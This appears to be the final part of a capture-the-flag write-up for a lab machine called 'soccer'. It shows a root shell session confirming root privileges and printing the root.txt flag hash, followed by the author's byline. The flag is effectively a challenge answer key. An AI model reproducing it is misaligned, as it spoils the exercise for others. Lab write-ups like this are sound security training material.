 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
   just raised the bar for easy, resilient and secure K8s cluster deployment.

   https://ubuntu.com/engage/secure-kubernetes-at-the-edge

0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Fri Dec  2 10:53:47 2022
root@soccer:~# whoami;id;pwd
root
uid=0(root) gid=0(root) groups=0(root)
/root
root@soccer:~# ls
app  root.txt  run.sql  snap
root@soccer:~# cat root.txt
7ff7f2878244c5b7f1451d629fba0979
root@soccer:~#
Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe